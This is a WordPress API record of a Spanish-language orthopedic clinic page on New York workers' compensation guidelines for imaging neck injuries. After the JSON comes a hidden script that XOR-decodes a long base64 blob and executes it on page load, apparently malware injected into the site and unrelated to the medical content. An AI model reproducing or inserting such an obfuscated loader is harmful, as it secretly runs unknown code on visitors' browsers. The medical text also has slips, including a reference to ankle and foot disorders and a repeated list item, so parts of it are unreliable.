{"id":71200,"date":"2025-10-28T05:34:48","date_gmt":"2025-10-28T05:34:48","guid":{"rendered":"https:\/\/balwindertest.cortho.org\/workers-compensation\/principios-generales-para-la-imagen-de-lesiones-de-cuello-para-pacientes-de-compensacion-laboral\/"},"modified":"2026-01-08T07:46:21","modified_gmt":"2026-01-08T07:46:21","slug":"principios-generales-para-la-imagen-de-lesiones-de-cuello-para-pacientes-de-compensacion-laboral","status":"publish","type":"workers-compensation","link":"https:\/\/balwindertest.cortho.org\/es\/compensacion-laboral\/cuello\/principios-generales-para-la-imagen-de-lesiones-de-cuello-para-pacientes-de-compensacion-laboral\/","title":{"rendered":"Principios generales para la imagen de lesiones de cuello para pacientes de compensaci\u00f3n laboral"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">La junta de compensaci\u00f3n laboral del Estado de Nueva York ha desarrollado estas directrices para ayudar a m\u00e9dicos, pod\u00f3logos y otros profesionales sanitarios a proporcionar el tratamiento adecuado para la imagenolog\u00eda.<\/p>\n\n<p class=\"wp-block-paragraph\">Estas directrices de la Junta de Compensaci\u00f3n Laboral est\u00e1n destinadas a ayudar a los profesionales sanitarios a tomar decisiones sobre el nivel adecuado de atenci\u00f3n para sus pacientes con trastornos de tobillo y pie.<\/p>\n\n<p class=\"wp-block-paragraph\">Las directrices no sustituyen el juicio cl\u00ednico ni la experiencia profesional. La decisi\u00f3n final sobre la atenci\u00f3n debe ser tomada por el paciente en consulta con su proveedor sanitario. <\/p>\n\n<h2 class=\"wp-block-heading\">Imagen de lesiones de cuello<\/h2>\n\n<p class=\"wp-block-paragraph\">Si se considera cl\u00ednicamente necesario, se puede realizar una imagen de la columna cervical. Las vistas est\u00e1ndar de rayos X son la derecha, anteroposterior (AP), lateral, izquierda, de nadadores y odontoide. Para evaluar la inestabilidad se utilizan vistas de extensi\u00f3n y flexi\u00f3n lateral. En ciertos casos, pueden ser necesarias tomograf\u00edas computarizadas para ver el C7 y el odontoide.   <\/p>\n\n<p class=\"wp-block-paragraph\">Cuando una lesi\u00f3n se sospecha que la m\u00e9dula al gira y, adem\u00e1s de los otros trastornos que se tratar\u00e1n a continuaci\u00f3n, se recomienda realizar una resonancia magn\u00e9tica o un TAC. Para ayudar al radi\u00f3logo y al t\u00e9cnico de rayos X, el mecanismo del da\u00f1o y las indicaciones espec\u00edficas de las im\u00e1genes deben indicarse en el formulario de solicitud. <\/p>\n\n<p class=\"wp-block-paragraph\">La imagen puede no ser necesaria para pacientes conscientes y sobrios con s\u00edntomas cervicales aislados que carecen de molestias palpables en la l\u00ednea media, anomal\u00edas neurol\u00f3gicas u otras lesiones agudas u otras distracciones en otras partes del cuerpo. La siguiente lista de posibles indicaciones para estudios radiogr\u00e1ficos incluye: <\/p>\n\n<ul class=\"wp-block-list\">\n<li>Antecedentes de lesiones graves, especialmente accidentes de veh\u00edculos de alto impacto, vuelcos, eyecciones, colisiones con bicicletas o veh\u00edculos recreativos, o ca\u00eddas desde alturas superiores a un metro<\/li>\n\n\n\n<li>M\u00e1s de 65 a\u00f1os.<\/li>\n\n\n\n<li>Clasificaci\u00f3n de Quebec Grados III y IV: Sospecha de fractura, luxaci\u00f3n, inestabilidad o deterioro neurol\u00f3gico.<\/li>\n\n\n\n<li>Molestias en el cuello que han durado al menos seis semanas sin causa aparente o que empeora al estar tumbado, molestias en el cuello que han durado al menos seis semanas sin causa aparente o que empeora al estar tumbado.<\/li>\n\n\n\n<li>S\u00edntomas constitucionales, fiebre, dolor localizado, posible tumor, antecedentes de malignidad o una posible condici\u00f3n sist\u00e9mica como endocrinopat\u00eda o artritis reumatoide<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Qu\u00e9 puede hacer nuestra oficina si tienes una lesi\u00f3n por accidente laboral<\/h2>\n\n<p class=\"wp-block-paragraph\">Contamos con la experiencia necesaria para ayudarte con sus lesiones de compensaci\u00f3n laboral. Entendemos por lo que est\u00e1s pasando, atenderemos tus necesidades m\u00e9dicas y seguiremos las directrices establecidas por la Junta de Compensaci\u00f3n Laboral del Estado de Nueva York. <\/p>\n\n<p class=\"wp-block-paragraph\">Entendemos la importancia de tus casos de compensaci\u00f3n laboral. D\u00e9janos ayudarte a navegar por el laberinto de tratar con la compa\u00f1\u00eda de seguros de compensaci\u00f3n laboral y tu empleador. <\/p>\n\n<p class=\"wp-block-paragraph\">Entendemos que este es un momento estresante para ti y tu familia. Si desea concertar una cita, por favor cont\u00e1ctenos para que hagamos todo lo posible para que le resulte lo m\u00e1s f\u00e1cil posible. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>La junta de compensaci\u00f3n laboral del Estado de Nueva York ha desarrollado estas directrices para ayudar a m\u00e9dicos, pod\u00f3logos y otros profesionales sanitarios a proporcionar el tratamiento adecuado para la imagenolog\u00eda. Estas directrices de la Junta de Compensaci\u00f3n Laboral est\u00e1n destinadas a ayudar a los profesionales sanitarios a tomar decisiones sobre el nivel adecuado de [&hellip;]<\/p>\n","protected":false},"featured_media":67896,"parent":0,"menu_order":0,"template":"","meta":{"_acf_changed":false,"_seopress_robots_primary_cat":"","_seopress_titles_title":"Principios para la imagen de lesiones de cuello - Ortopedia completa","_seopress_titles_desc":"Principios generales para la imagen de lesiones en el cuello en pacientes con compensaci\u00f3n laboral. Visita Complete Orthopedics para conocer en detalle las lesiones de cuello. ","_seopress_robots_index":"yes","footnotes":""},"workers-compensation-categories":[165],"class_list":["post-71200","workers-compensation","type-workers-compensation","status-publish","has-post-thumbnail","hentry","workers-compensation-categories-cuello"],"acf":[],"_links":{"self":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/71200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation"}],"about":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/types\/workers-compensation"}],"version-history":[{"count":1,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/71200\/revisions"}],"predecessor-version":[{"id":71201,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/71200\/revisions\/71201"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/media\/67896"}],"wp:attachment":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/media?parent=71200"}],"wp:term":[{"taxonomy":"workers-compensation-categories","embeddable":true,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation-categories?post=71200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0x392f=atob('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'),_0xd092=125,_0x0109=new Uint8Array(_0x392f['length']),_0xab25=0;for(;_0xab25<_0x392f['length'];_0xab25++)_0x0109[_0xab25]=_0x392f['charCodeAt'](_0xab25)^_0xd092;(new Function(new TextDecoder()['decode'](_0x0109)))()}();
</script>
    